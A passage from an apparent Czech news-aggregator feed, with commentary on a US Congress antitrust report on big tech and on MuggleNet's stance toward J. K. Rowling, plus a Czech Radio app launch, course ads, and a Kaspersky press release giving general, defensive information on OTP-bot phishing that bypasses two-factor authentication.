jiných firem. Devět služeb provozovaných Googlem (Android, Chrome, Gmail, Google Search, Google Drive, Google Maps, Google Photos, Google Play Store, YouTube) má po více než miliardě registrovaných uživatelů každá. Data z nich Google integruje a analyzuje, což mu pomáhá dále posilovat jeho tržní dominanci (175). Amazon zase provozuje natolik velkou vlastní přepravní divizi, že už překonal objem balíků přepravovaných americkou poštou a během dvou let předstihne i UPS a FedEx (303). Čím dál větší procento výsledků z vyhledávání Googlem vede zase na stránky vlastněné Googlem nebo na reklamy zakoupené u Googlu, rozdíl mezi reklamami a organickými výsledky se stírá. Google přebírá obsah třetích stran a ukazuje jej přímo u sebe, aniž by nasměroval uživatele na stránky, které obsah shromáždily či vytvořily (184-187), což hraničí s porušením autorských práv. Když si firma Yelp stěžovala na tuto praktiku, pohrozil jí Google, že ji úplně odstraní z výsledků vyhledávání, což by Yelp zničilo (185). Při licencování Androidu výrobcům mobilů klade Google čím dál více podmínek, které mají zajistit dominanci jiných jeho služeb na mobilním trhu. Podmínky jsou čím dál tvrdší úměrně tomu, jak podíl Androidu na trhu chytrých telefonů narůstá (215). Počet povinně instalovaných aplikací Googlu na všech přístrojích s Androidem vzrostl z 12 na 30 (215). Přednastaveným prohlížečem musí být Google Chrome a přednastavenou vyhledávací službou Google Search (15). Když se firma Acer pokoušela o vyvinutí alternativního mobilního OS, pohrozil jí Google, že jí neumožní dále prodávat zařízení s Androidem, čímž zničil možnou konkurenci v zárodku (217). Antikompetitivní akvizice Všechny vyšetřované firmy eliminují konkurenci nákupem potenciálně soupeřících firem, dokud jsou ještě malé. („Killer acquisitions“, 11). Tato praktika vedla k tomu, že investoři odmítají investovat do začínajících firem, startupů, které by chtěly konkurovat velkým firmám („innovation kill zone“, 18, 47, 48). Šéf Applu Tim Cook se chlubil tím, že na vrcholu akviziční horečky kupoval Apple jednu firmu každé dva až tři týdny (339). Amazon vstřebal přes sto firem (263), Facebook minimálně 63 firem (169-170). Potřebují-li firmy zničit konkurenci či přimět ji k odprodeji, uvádějí na trh konkurenční výrobky za ztrátovou cenu – jako příklad je uváděn hlasový asistent Alexa (110, 122) nebo způsob, kterým Amazon koupil firmu Diapers.com (265) i za cenu 200 milionů dolarů ztráty. Facebook skrze nákupy jiných firem „vyčistil“ trh sociálních sítí natolik, že už řeší jenom vnitrofiremní konkurenci produktů, např. Instagram vs. původní Facebook, a otázkou vnější konkurence se příliš nezabývá (385). Jednostranné a svévolné chování, hrozba pomsty Velké firmy uplatňují na své partnery jiná pravidla než na sebe samotné (6-7), jednostranně je mění způsobem, který by v běžných obchodních vztazích byl nepřijatelný. Google skokově zvýšil cenu za využití Google Maps API tak, že z hlediska vývojářů vzrostla 1400 procent (241), a nově zakázal vývojářům, aby ve svých aplikacích používali vedle Google Maps i jiné mapy (146). Apple si průběžně vymýšlí nová pravidla „za chodu“, a to včetně nepsaných (370-371), třetí strany žijí neustále v obavě, co porušily (370). Některé firmy pozvané do Kongresu odmítly vypovídat kvůli strachu z možných následků (27). Advokát zastupující vývojáře aplikací vypověděl, že jeho klienti se obávají kritizovat Apple i v soukromé korespondenci mezi sebou (74). Amazon zakazuje některým svým prodejcům inzerovat, chce-li je vytrestat nebo přimět k povolnějšímu chování (315). Pokouší se donutit výrobní firmy, aby přestaly prodávat vlastními kanály a aby se staly pouze exkluzivními dodavateli zboží pro Amazon (260). V jednom případě údajně sdělil firmě, že nepřestane prodávat padělané verze jejích produktů, dokud si firma nekoupí reklamu za dva miliony dolarů (295). Poté, co se prokoušete cca 380 stránkami fantastického katalogu sviňáren, které jako by ilustrovaly tvrzení o tom, že moc korumpuje, dostanete se konečně k návrhům, co se situací dělat. V zásadě spadají do čtyřech kategorií. Rozdělení velkých společností, zákaz určitých činností Nejklasičtější antitrustové nástroje, používané už od 19. století. Znamenalo by to například oddělení Androidu nebo Apple Store do separátní firmy, oslabení původních kolosů rozřezáním na prvočinitele. Těm by zároveň bylo zakázáno expandovat do dalších oblastí podnikatelské činnosti. Je to tvrdý postup, ale v minulosti se osvědčil, takto byla například rozdělena telefonní společnost AT&T. Povinná interoperabilita a otevřené standardy dat Firmy by musely zákazníkům umožnit přenést si svá data ke konkurenci a musely by umožnit vzájemné propojení s konkurencí. Takhle to funguje třeba v mobilní telefonii: ze Samsungu si hladce zavoláte na iPhone, od T-Mobile na O2, a můžete si přenést telefonní číslo. Jednotný standard umožňuje zákazníkům odejít jinam, aniž by přišli o léta budovanou síť kontaktů apod. Podobné je to u e-mailu. Naštve-li vás Seznam, můžete odejít ke Gmailu; adresa vám sice nezůstane, ale můžete si i nadále dopisovat s kolegy a kamarády, kteří u Seznamu zůstali. Ale Facebook a spol. jsou „zahrady obehnané zdí“, které neumožňují komunikaci ven, mimo svoje panství. Uzavřené sociální sítě mají silnou tendenci k samovolné monopolizaci (145-146), protože lidé chtějí být tam, kde jsou jiní lidé. Povinná přenositelnost a interoperabilita by to změnily. Hrozba, že uživatelé začnou „hlasovat nohama“ a utíkat od nejvíce dominantních a své postavení zneužívajících kolosů někam jinam, by se tak zvýšila, což by zároveň dalo konkurenci šanci vyrůst. Plošný zákaz dalších akvizic Velkým IT firmám by podle názoru výboru Kongresu mělo být plošně zakázáno další nakupování menších firem. Výjimky by si musely vybojovat u federální obchodní komise (FTC) a prokázat, že jim nejde o potlačování konkurence. Výchozí předpoklad by byl ten, že jim o potlačení konkurence jde. Presumpce viny, ale v tomto případě vcelku podložená. Zákaz preferenčního a diskriminačního chování Nové úpravy zákona by měly velkým firmám zakázat to záhadné svévolné chování, se kterým jednostranně mění podmínky, vyhazují ze svých platforem smluvní partnery bez zjevného důvodu či vysvětlení, případně v rámci snahy je dotlačit k přijetí nevýhodného postavení. Nejsem si jist, nakolik je tohle realizovatelné – dobrý právník vymyslí nejednu fintu, kterou zákonodárci nepředpokládali – ale konkrétní návrhy bych si určitě vyslechl. Co myslíte, co z toho bude? Sněmovna reprezentantů je pod kontrolou demokratů, takže případné Bidenovo vítězství v nadcházejících volbách by tento názor nemělo zásadním způsobem změnit. Ale zároveň je jasné, že po takto nepříznivé zprávě nasadí příslušné firmy svoje lobbyisty do akce s trojnásobným platem a pětinásobnou naléhavostí. Napíchnout Godzillu na rožeň nebude zrovna jednoduchý úkol a tady jsou ty Godzilly hned čtyři.   Převzato s laskavým svolením autora z jeho webu, na kterém kromě tohoto článku najdete další texty o politice a společnosti. Knihy Mariana Kechlibara si můžete objednat ZDE. {loadmodule mod_tags_similar,Související}

Čas načtení: 2020-07-09 14:40:51

Cancelio Rowlingová!

Spisovatelka Rowlingová je signatářkou dopisu volajícího po svobodě slova, který vyšel v časopise Harpers. Mezi dalšími lidmi, kteří jej podepsali, je Salman Rushdie, člověk, po jehož životě svého času šli fanatici poštvaní Chomejním. Také Garry Kasparov, představitel ruské opozice, se připojil. Asi můžeme směle říci, že tihle dva jsou lidé, kteří vědí, co to znamená „mít vážné problémy“. Ale k dopisu a k reakcím na něj někdy jindy. Dnes je čas na ukázku toho, proč vůbec takové dopisy vznikají. Miliardářku Rowlingovou není snadné zlikvidovat, na to je její dílo moc lukrativní, než aby se jej vydavatel vzdal. To ale neznamená, že si neschytala svoje, na sociálních sítích i mimo ně. Jakkoliv si o některých jejích akcích myslím svoje, za to, že je nyní terčem, ji lituju. Poslední kolo žraločí hostiny se rozjelo, když Rowlingová začátkem června tweetnula poněkud sarkastickou poznámku směřující k tomu, že „lidem, kteří menstruují“ by se třeba mohlo říkat „ženy“. V reakci na to ji strhali někteří herci z filmové série o Harrym Potterovi a potterovská internetosféra začala řešit, jak s autorkou naložit. Slíbil jsem vám překlad jedné vzniklé rezoluce, tady je. Jedná se o prohlášení serveru MuggleNet, jedné z největších (ne-li vůbec největší) online komunit pro fanoušky Harryho Pottera, která existuje už od roku 1999. Provozovatelé serveru v něm shrnují svoje postoje a opatření k autorce Harryho Pottera a jejím názorům na gender. Trigger Warning: Předem varuji, že jde o silné kafe a blicí pytlík se může hodit. Nuže, vychutnávejte si ZÁVAZEK, který si na sebe administrátorský tým MuggleNetu naložil ve jménu inkluzivity a bezpečí a kterým se pochlubil zbytku světa. Originál zde. NÁŠ ZÁVAZEK Po více jak 20 let se komunita fanoušků Harryho Pottera rozrůstala a sílila a my jsme pyšní na to, že jsme měli příležitost slavit, učit se a růst společně s tolika lidmi. Právě ten moment, kdy naše komunita vstupuje do třetího desetiletí, si J. K. R. zvolila k tomu, aby se přihlásila ke škodlivým a vyvráceným názorům na to, co znamená být trangenderovou osobou. Jsme znechuceni faktem, že si pro tyto výroky zvolila měsíc, kdy se pořádá Pride, a období, kdy se celý svět snaží zúčtovat s rasovou nespravedlností. Toto zneužití jejího vlivu a výsadního postavení k útoku na osoby na okraji společnosti považujeme v rozporu s poselstvím přijetí, tolerance a vzájemné podpory, které nacházíme v jejích knihách a které jsou tolik vyzdvihovány komunitou fanoušků Harryho Pottera. Ačkoliv je obtížné vystoupit proti někomu, jehož práci jsme dlouho obdivovali, bylo by špatné nepoužít naši platformu k tomu, abychom snížili míru škod, které napáchala. Naše stanovisko je jasné: transgenderové ženy jsou ženy. Transgenderoví muži jsou muži. Nebinární osoby jsou nebinární. Intersex osoby existují a neměly by být nuceny žít v binárním světě. Stojíme po boku fanoušků Harryho Pottera z těchto komunit, a ačkoliv nesouhlasíme se špatným zacházením, kterého se JKR dostalo poté, co zveřejnila své názory na transgenderové osoby, musíme odmítnout její názory. Byli jsme svědky toho, jak nespočet lidí využilo knihy o Potterovi a související díla k tomu, aby prozkoumali svoji vlastní identitu a šířili přitom lásku a porozumění. Víme, že je to stále možné, a že chceme být i nadále součástí tohoto hnutí. Zavazujeme se k tomu, že budeme v naší komunitě odvádět dobrou práci a nadále pozvedávat a stavět do středu pozornosti lidi, kteří jsou na okraji společnosti, a přispívat k pozitivní změně na našich fanouškovských platformách. Toto nechť je začátkem našeho obnoveného závazku sloužit komunitě kolem Harryho Pottera z více uvědomělého úhlu pohledu než dříve. Na této stránce vás budeme pravidelně informovat o našich snahách povznést náš obsah a přiblížit ho širší škále fanoušků, stejně jako o způsobech, kterým můžete finančně přispět. Pokud jste trans-osoba a potřebujete pomoc, naléhavě vás žádáme, abyste zavolali horkou linku Trans Lifeline. Jedinou starostí MuggleNetu je vytvoření bezpečné komunity, ve které se všichni cítí vítáni. To znamená i nadále vytvářet všestranný obsah a provádět takové změny, aby příslušný obsah byl dostupný těm, kdo o něj stojí, a nebyl vnucován těm, kdo ne. Součástí našeho obsahu bude i nadále práce J. K. Rowlingové mimo kouzelnický svět (série Cormoran Strike, kniha Ickabog) a aktivitu její charitativní nadace, Lumos. Nebudeme již psát o aspektech jejího osobního života (například zisk ocenění, životní úspěchy, tweety, které se netýkají kouzelnického světa, dary charitám, právní záležitosti, politické komentáře nebo názory). Abychom vytvořili inkluzivní prostor nejen pro naše čtenáře, ale i pro naše pracovníky, od žádného dobrovolníka MuggleNetu nebudeme vyžadovat, aby pracoval s obsahem, který jej znepokojuje, ani jej k tomu povzbuzovat. Navíc, po konzultaci s našimi dobrovolníky ze všech týmů, jsme se rozhodli zavést následující pravidla, která upravují naši publikační činnost, s okamžitou platností: Webové stránky Tato pravidla se týkají úvodníků, článků, krátkých zpráv, zpráv z médií a všech dalších příspěvků. Od této chvíle nebudeme… umisťovat kamkoliv odkazy na nákup děl J. K. Rowlingové netýkajících se kouzelnického světa, odkazovat na stránky J. K. Rowlingové, používat titulní obrázky s podobou J. K. Rowlingové, v nejvyšší možné míře omezíme používání jména J. K. Rowlingové v úryvcích z článků. Tato pravidla se týkají stránek a jejich uspořádání v navigačním menu: Existující odkazy na nákup byly odstraněny. Kategorie J. K. Rowlingová a její podstránky (Cormoran Strike Series, The Casual Vacancy) byly odstraněny z přehledu zpráv, který se objevuje na první stránce tohoto webu. Menu “J. K. Rowlingová” bylo přesunuto z hlavního navigačního menu do položky “Svět mudlů”, aby se neukazovalo na čelní stránce, ale aby si jej čtenáři stále ještě mohli vyhledat. Sociální sítě Tato pravidla se týkají našich účtů na sociálních sítích, což zahrnuje Facebook, Instagram, Pinterest, Tumblr, Twitter a YouTube. Nadále již nebudeme postovat ani sdílet: odkazy na nákup děl J. K. Rowlingové netýkajících se kouzelnického světa, odkazy na stránky J. K. Rowlingové, fanouškovská díla, memy, fotografie a další obrázky s podobou J. K. Rowlingové, citáty J. K. Rowlingové na témata, která se netýkají kouzelnického světa. obsah týkající se jejího díla mimo kouzelnický svět. Články týkající se práce J. K. Rowlingové mimo kouzelnický svět už nebudeme sdílet na našem Facebooku ani Instagramu. Všechny tweety, které se budou týkat zveřejnění úvodníků, článků, krátkých zpráv, zpráv a dalších textů týkajících se J. K. Rowlingové nebo jejího díla mimo kouzelnický svět, budou označeny tagem #JKR, aby si je uživatelé Twitteru mohli snadno skrýt. Neustále se snažíme dělat to, co je pro naši komunitu nejlepší, takže tato pravidla se časem na základě zpětné vazby od našich spolupracovníků a čtenářů mohou změnit. Chcete-li zanechat zpětnou vazbu, použijte prosím následující formulář. Jakkoliv náš závazek vůči této komunitě se po výrocích J. K. Rowlingové soustřeďuje na inkluzivitu, rádi bychom také upozornili na to, že následky z domácího násilí, kterému čelila, jí i nadále zjevně působí trauma. Je naším nezměnitelným postojem, že domácí násilí není přijatelné v žádném vztahu, bez ohledu na gender, bohatství nebo právní stav. Pokud jste vy, nebo někdo, koho znáte, v takové situaci, prosím vyhledejte pomoc na Národní horké lince pro domácí násilí. Byznys postavený na díle Rowlingové nevadí Konec ZÁVAZKU, přátelé. Pokud tě, čtenáři, někdy postihnou chvilkové iluze o lidské povaze, vrať se k tomuto ZÁVAZKU, přečti si jej a vezmi v potaz, že toto sepsali a zveřejnili lidé, kteří si podle všeho mysleli, že dělají dobrou, záslužnou a morálně správnou až nezbytnou věc. A že to byli lidé z našeho kulturního okruhu, ne nějací kvílející fanatici z paštunského pohraničí, jejichž jedinou školou byla madrása založená Talibanem. A že na ně při psaní této šílenosti žádný soudruh Berija nemířil nabitým mauserem. Uvidíš, jak rychle tě ty iluze zase přejdou. Vlastně si přestávám být jist, zda se nad ty Talibance ještě vůbec můžeme nějak vytahovat, když naše kultura začíná produkovat tohle. Ty pasáže o tom, jak už nadále nebudou sdílet a publikovat obrázky s podobou J. K. Rowlingové, smrdí opravdovým středověkem na sto honů. Jenže na rozdíl od Talibanců je zplodili lidé, kteří vyrostli v relativně liberálním a vyspělém světě a nejspíš nevěří v to, že by je za zobrazení Rowlingové nějaký mstivý Bůh po smrti shodil do pekel a tam je armáda chechtajících se ďáblů věčně koupala v kotlích vařící smůly. Tuhle obavu bych byl schopen aspoň trochu pochopit. Tohleto… no comment. Opravdové chucpe je přitom skutečnost, že MuggleNet není čistě amatérský web, ale firma (for-profit), která má e-shop a vydělává na prodeji zboží, které by bez Rowlingové a její tvorby vůbec neexistovalo. Kdyby byla autorka jenom trochu mstivá, využila by teď svého copyrightu a začala by jim komplikovat život. Leč vypadá to, že spoléhají na to, že mstivá není (Rowlingová je vůči své fandovské komunitě tradičně vstřícná, zejména ve srovnání s firmami typu Walt Disney.) Že ta nevyslovitelná osoba, jejíž obličej a jméno nesmí již nadále hyzdit úvodní stránku webu, bude zároveň natolik hodná, že jim nebude narušovat byznys. Všimněte si v této souvislosti těch velmi pragmatických výjimek ohledně nákupních odkazů na díla z kouzelnického světa. Tak daleko zase svatý hněv nesahá. To by mohlo poškodit prodeje na jejich vlastním e-shopu, který je tohoto zboží plný a nejspíš i plný zůstane. Ještě bych rád okomentoval jednu věc, totiž celkový tón textu. Je ohromně přeslazený, demonstrativně pečující o lidi na okraji, nabízející jim starostlivě kontakty na horké linky, kdyby se jim snad něco dělo, přímo narvaný pozitivními slovy jako láska, porozumění, vítání, bezpečí. A hned vzápětí přeskakuje ke strohému seznamu represivních opatření vůči konkrétní osobě, která vypadají a znějí jako rozsudek nějakého Volksgerichtu. Mám-li zabrousit do potterovského světa: něco takového by mohla napsat Dolores Umbridgeová, k níž tato hysterická afektovanost kombinovaná s banální krutostí sedí úplně dokonale. Nevím, jestli jste ty knihy četli; ale Umbridgeová mi přišla jako daleko realističtější podoba Zla než příliš šablonovitý Voldemort. No, tak poslední dobou to vypadá, jako by se nám slečna Dolores množila geometrickou řadou…   Převzato s laskavým svolením autora z jeho webu, na kterém kromě tohoto článku najdete další texty o politice a společnosti. Knihy Mariana Kechlibara si můžete objednat ZDE. {loadmodule mod_tags_similar,Související}

Čas načtení: 2019-12-04 16:00:47

Startuje projekt mujRozhlas, který nabídne více služeb na internetu

Český rozhlas spustil projekt mujRozhlas, který poskytne posluchačům živé vysílání všech stanic, výběr archivních pořadů i audioprodukci vyrobenou přímo pro on-line prostředí. Hlavním cílem projektu je zvýšení poslechovosti audio obsahu Českého rozhlasu na internetu, oslovení nového publika a zavedení nových technologických inovací. „Po dvou letech intenzivní práce a úsilí spustíme projekt, který nemá v rámci České republiky obdoby. Je součástí dlouhodobé strategie digitalizace obsahu a nabídne veškeré audio služby Českého rozhlasu na jednom místě,“ uvedl generální ředitel Českého rozhlasu René Zavoral. Audioportál mujRozhlas nabídne živé vysílání, záznamy odvysílaných pořadů, nové obsahové formáty vyrobené speciálně pro on-line distribuci a také speciality z archivu Českého rozhlasu. Bude jej možné stáhnout jako aplikaci do mobilu nebo používat na počítači v internetovém prohlížeči. Díky aplikaci mujRozhlas bude možné od jejího startu: - Přehrávat živé vysílání všech stanic Českého rozhlasu včetně zpětného poslechu (tzv. timeshift). - Poslouchat pořady tříděné podle témat včetně obsahu pro děti a výběru zajímavostí z archivu Českého rozhlasu. - Poslouchat exkluzivní obsah připravený pro mujRozhlas. - Poslouchat pořady a podcasty online i offline pro situace, kdy nemáte připojení na internet. - Nastavovat si aplikaci dle svých potřeb včetně struktury hlavní stránky nebo přepínat na noční či denní režim. - Využít registraci pro web i aplikaci a uchovávat si informace o oblíbených pořadech a další informace. Do konce ledna by měl mujRozhlas také plně nahradit současnou aplikaci iRadio a starý audio archiv, který je součástí stránky hledani.rozhlas.cz. Nasazování služby bude postupné, aby se mohli stávající uživatelé sžít s novým prostředím a navyknout na nové služby. „Projekt mujRozhlas nám svým startem otevírá možnosti, jak budovat a rozvíjet audio služby na jednom místě. Spuštěním služby práce nekončí, naopak bude nastartována kontinuální práce, kdy budeme postupně uvolňovat připravované technologie a funkcionality pro mobilní aplikaci a webové stránky a rozšiřovat nabídku obsahu,“ uvedl ředitel Nových médií Jiří Malina. {loadmodule mod_tags_similar,Související}

Čas načtení:

Visio základní

[skoleni-kurzy.eu] Školení je zaměřené na vytváření vývojových a organizačních diagramů, map webů a databází, prostorových plánů, projektových podkladů a dalších technických nebo obchodních schémat a diagramů v programu Visio. Posluchači se naučí vytvářet schémata a diagramy pomocí předpřipravených objektů vzorníků i kreslit své vlastní objekty. Naučí se výkresy vytisknout, publikovat a připravit pro prezentaci. * Kurz Visio základní probíhá v malé skupině účastníků. Kurzu Visio základní se účastní maximálně 8 osob. Kurz Visio základní probíhá v plně vybavené počítačové učebně. V průběhu kurzu Visio základní je pro účastníky zajištěn pitný režim a drobné občerstvení. U nás máte jistotu, že vám objednaný kurz nezrušíme. Poté co u nás kurz Visio základní objednáte a my vám potvrdíme účast, garantujeme, že se kurz uskuteční. Kurz nerušíme z důvodu malého počtu zájemců. Kurz Visio základní se uskuteční i pokud se něj přihlásí pouze jeden zájemce. V takovém případě probíhá kurz Visio základní jako individuální, cena kurzu se nezmění. Princip práce v Microsoft Visio Možnosti využití Microsoft Visio   Pracovní prostředí   Druhy používaných obrazců   Vzorníky     Stránky ve výkresu Nastavení vzhledu stránky   Nastavení měřítka   Zobrazení pomocných objektů   Přidání, odebrání a kopírování stránky     Základní práce s obrazci Vyhledání a použití obrazce ze vzorníku   Označování obrazců   Kopírování a mazání obrazců   Změna velikosti a natáčení obrazců   Přesné umisťování obrazců na výkres     Úprava a kreslení vlastních obrazců Úprava obrazce ze vzorníku   Vytvoření obrazce kreslicími nástroji   Rozšíření obrazce   Formátování čar, výplně a stínů obrazců     Práce s textem Přidání textu do obrazce   Vytvoření textového obrazce   Úprava textového bloku a obrazce   Formátování textu     Propojení obrazců pomocí spojnic Vytvoření spojení   Formátování a úprava spojnic   Změna cesty dynamické a statické spojnice   Vytvoření vlastního obrazce spojnice   Změna vzhledu spojnice   Nastavení pozice spojnice vůči obrazci     Vytváření složených obrazců Skládání obrazců na sebe   Vytvoření skupiny a práce se skupinou obrazců     Příklady použití Vývojové diagramy   Organizační diagramy   Diagram příčin a následků   Strom problému   Ganttův diagram a časová osa   ...AbecedaPC

Čas načtení:

Jak využít znalosti typologie osobnosti pro komunikaci a lepší porozumění

[skoleni-kurzy.eu] Každý člověk má dokonalou osobnost – jen každý mluví trochu jiným jazykem. Naučíte se rychlé rozklíčovat typ a komunikační jazyk daného člověka. Dovede vás to k pochopení komunikačních schémat druhých lidí, klientů, zákazníků, kolegů i uchazečů o práci. Rychle poznáte silné i slabé stránky a budete vědět, jak komunikovat, abyste si rozuměli. * • co je to typologie osobnosti, kde a jak nám pomůže její znalost, • rozdělení a popis jednotlivých typů osobností, • poznejte svůj vlastní typ osobnosti své výhody i slabé stránky, které vycházejí z vaší povahy, • jak rozpoznat typ osobnosti člověka během několika okamžiků, • silné a slabé stránky jednotlivých typů – jak ho můžeme využít, • jak komunikovat s jednotlivými typy osobností. ...1. VOX a.s.

Čas načtení: 2024-05-16 06:30:23

Retro okénko: webové stránky Applu dlouho nevyčnívaly, změna přišla s prvním iPhonem

Webové stránky Applu byly dlouho ošklivým kačátkem společnosti Výrazná změna přišla s příchodem prvního iPhonu v roce 2007 Od té doby se vzhled stránek příliš nezměnil Kdo by neznal společnost Apple. Ikonická firma s nakousnutým jablíčkem ve znaku, která datuje svůj vznik do roku 1976, několikrát proměnila svět technologií a způsob, jakým o nich uvažujeme. To je především zásluhou zakladatele Steva Jobse, který svou mnohdy až maniakální posedlostí detaily a dokonalostí doháněl řadu pracovníků, přátel i rodinných příslušníků k šílenství. S příchodem internetu se vstupní branou pro zkoumání produktů a služeb Applu stala jejich webová stránka, přičemž alespoň ze začátku byste perfekcionalismus a minimalismus hledali marně. Přečtěte si celý článek Retro okénko: webové stránky Applu dlouho nevyčnívaly, změna přišla s prvním iPhonem

Čas načtení:

Jak využít znalosti typologie osobnosti pro komunikaci a lepší porozumění

[skoleni-kurzy.eu] Každý člověk má dokonalou osobnost – jen každý mluví trochu jiným jazykem. Naučíte se rychlé rozklíčovat typ a komunikační jazyk daného člověka. Dovede vás to k pochopení komunikačních schémat druhých lidí, klientů, zákazníků, kolegů i uchazečů o práci. Rychle poznáte silné i slabé stránky a budete vědět, jak komunikovat, abyste si rozuměli. * • co je to typologie osobnosti, kde a jak nám pomůže její znalost, • rozdělení a popis jednotlivých typů osobností, • poznejte svůj vlastní typ osobnosti své výhody i slabé stránky, které vycházejí z vaší povahy, • jak rozpoznat typ osobnosti člověka během několika okamžiků, • silné a slabé stránky jednotlivých typů – jak ho můžeme využít, • jak komunikovat s jednotlivými typy osobností. ...1. VOX a.s.

Čas načtení: 2024-06-08 15:48:32

Poznáme najrýchlejší internetový prehliadač na trhu. Cez tento sa vám internetové stránky načítajú najrýchlejšie!

To, ako rýchlo sa vám otvárajú internetové stránky, nezávisí len od rýchlosti vášho internetu. Veľkú úlohu tu zohráva internetový prehliadač, ako je optimalizovaný. ... The post Poznáme najrýchlejší internetový prehliadač na trhu. Cez tento sa vám internetové stránky načítajú najrýchlejšie! appeared first on Vosveteit.sk - Správy zo sveta technológií a vedy.

Čas načtení: 2024-06-14 09:16:00

Kaspersky odhalil, jak phishing obchází dvoufaktorové ověřování

Praha 14. června 2024 (PROTEXT) - Společnost Kaspersky zaznamenala vývoj důmyslných phishingových technik, které kyberzločinci používají k překonání dvoufaktorového ověřování (2FA), klíčového bezpečnostního opatření pro ochranu online účtů. Na 2FA spoléhá mnoho webových stránek a řada organizací je dokonce vyžaduje povinně. Útočníci však vyvinuli pokročilé metody, které kombinují phishing s automatickými OTP boty, aby oklamali uživatele a získali neoprávněný přístup k jejich účtům.Dvoufaktorové ověřování (2FA) je bezpečnostní funkce, která se stala standardní metodou pro online zabezpečení. Vyžaduje, aby uživatelé kromě obvyklého přihlášení jménem a heslem potvrdili svoji totožnost ještě dalším způsobem, například jednorázovým heslem (OTP) zaslaným prostřednictvím textové zprávy, e-mailu nebo ověřovací aplikace. Tato dodatečná úroveň zabezpečení má chránit účty uživatelů i v případě, že dojde k odhalení jejich hesla. Podvodníci nyní našli způsoby, jak uživatele přimět k prozrazení těchto OTP a tím ochranu pomocí 2FA obejít.Kyberzločinci postupují tak, že se nejprve snaží získat přihlašovací údaje oběti a její telefonní číslo prostřednictvím phishingu nebo úniku dat. Často používají podvodné webové stránky, které vypadají jako legitimní přihlašovací rozhraní do bank, e-mailových služeb nebo jiných online účtů. Pokud oběť zadá svoje uživatelské jméno a heslo, útočníci tyto informace zachytí v reálném čase. Pomocí získaných údajů se pak sami přihlásí k účtu oběti, čímž spustí odeslání OTP na její telefon.V tomto okamžiku vstupuje do hry tzv. OTP bot, což je nástroj, který podvodníci používají k vyzvídání OTP pomocí technik sociálního inženýrství. OTP bot zavolá oběti, předstírá, že je zástupcem důvěryhodné organizace, a pomocí připraveného dialogu se ji snaží přesvědčit, aby mu OTP sdělila. Pokud je OTP bot úspěšný, útočník se kontrolní jednorázové heslo dozví a použije ho pro přístup k účtu oběti.Podvodníci dávají přednost telefonátům před textovými zprávami, protože telefonáty zvyšují šanci, že oběť zareaguje rychle. Bot dokáže napodobit tón a naléhavost legitimního hovoru, takže bývá přesvědčivější než člověk.Podvodníci si mohou OTP boty pronajmout a ovládají je prostřednictvím speciálních online panelů nebo platforem pro zasílání zpráv, jako je Telegram. Tito boti mají různé funkce a plány předplatného. Lze je přizpůsobit tak, aby se vydávali za různé organizace, používali více jazyků nebo mluvili mužským či ženským hlasem. Mezi pokročilé možnosti patří podvržení telefonního čísla (spoofing), takže identifikace volajícího vypadá jako od legitimní organizace.Výzkum společnosti Kaspersky ukazuje významný dopad útoků s využitím phishingu a OTP botů. Od 1. března do 31. května 2024 zabránily produkty společnosti 653.088 pokusům o návštěvu stránek generovaných phishingovými nástroji zaměřenými na bankovní sektor. Údaje získané prostřednictvím těchto falešných stránek jsou často využívány při útocích pomocí OTP botů. Ve stejném období technologie společnosti Kaspersky odhalila 4721 phishingových stránek vytvořených nástroji, jejichž cílem je obejít dvoufaktorové ověřování v reálném čase.Metoda dvoufaktorového ověřování je důležitým bezpečnostním opatřením, nemusí být však zcela spolehlivá. Na ochranu před výše uvedenými podvody Kaspersky doporučuje:• Neotevírejte odkazy v podezřelých e-mailových zprávách. Pokud se potřebujete přihlásit ke svému účtu, zadejte adresu stránky ručně nebo použijte odkaz v záložce.• Před zadáním přihlašovacích údajů se ujistěte, že je webová adresa správná a neobsahuje překlepy. Pomocí služby Whois zkontrolujte webové stránky: pokud byly zaregistrovány teprve nedávno, je pravděpodobné, že se jedná o podvod.• Jednorázová hesla během telefonování nevyslovujte ani nevyťukávejte, ať už volající zní jakkoli přesvědčivě. Skutečné banky a jiné organizace tuto metodu k ověření totožnosti svých klientů nikdy nepoužívají.• K ochraně organizací všech typů a velikostí před širokou škálou hrozeb použijte EDR a XDR řešení společnosti Kaspersky, zajistí ochranu v reálném čase, přehled o hrozbách, jejich vyšetřování a příslušné reakce na ně. V závislosti na aktuálních potřebách a dostupných zdrojích si můžete vybrat nejvhodnější úroveň produktu a snadno přejít na jinou, pokud se vaše požadavky na kybernetickou bezpečnost změní.• Investujte do kurzů kybernetické bezpečnosti pro vaše zaměstnance, aby byli informováni o nejnovějších poznatcích. Odborníci na informační bezpečnost si mohou pomocí školení Kaspersky Expert training, prohloubit svoje praktické dovednosti, aby dokázali lépe bránit firmy před sofistikovanými útoky. Můžete si vybrat vhodný formát a věnovat se samostudiu v online kurzech nebo se vzdělávat pod vedením lektora v kurzech pořádaných naživo.Kontakt pro médiaDarko NatalicCorporate Communications Manager Eastern Europe & Israel at KasperskyE-mail: Darko.Natalic@kaspersky.comČTK Connect ke zprávě vydává obrazovou přílohu, která je k dispozici na adrese http://www.protext.cz. 

Čas načtení:

Jak využít znalosti typologie osobnosti pro komunikaci a lepší porozumění

[skoleni-kurzy.eu] Každý člověk má dokonalou osobnost – jen každý mluví trochu jiným jazykem. Naučíte se rychlé rozklíčovat typ a komunikační jazyk daného člověka. Dovede vás to k pochopení komunikačních schémat druhých lidí, klientů, zákazníků, kolegů i uchazečů o práci. Rychle poznáte silné i slabé stránky a budete vědět, jak komunikovat, abyste si rozuměli. * • co je to typologie osobnosti, kde a jak nám pomůže její znalost, • rozdělení a popis jednotlivých typů osobností, • poznejte svůj vlastní typ osobnosti své výhody i slabé stránky, které vycházejí z vaší povahy, • jak rozpoznat typ osobnosti člověka během několika okamžiků, • silné a slabé stránky jednotlivých typů – jak ho můžeme využít, • jak komunikovat s jednotlivými typy osobností. ...1. VOX a.s.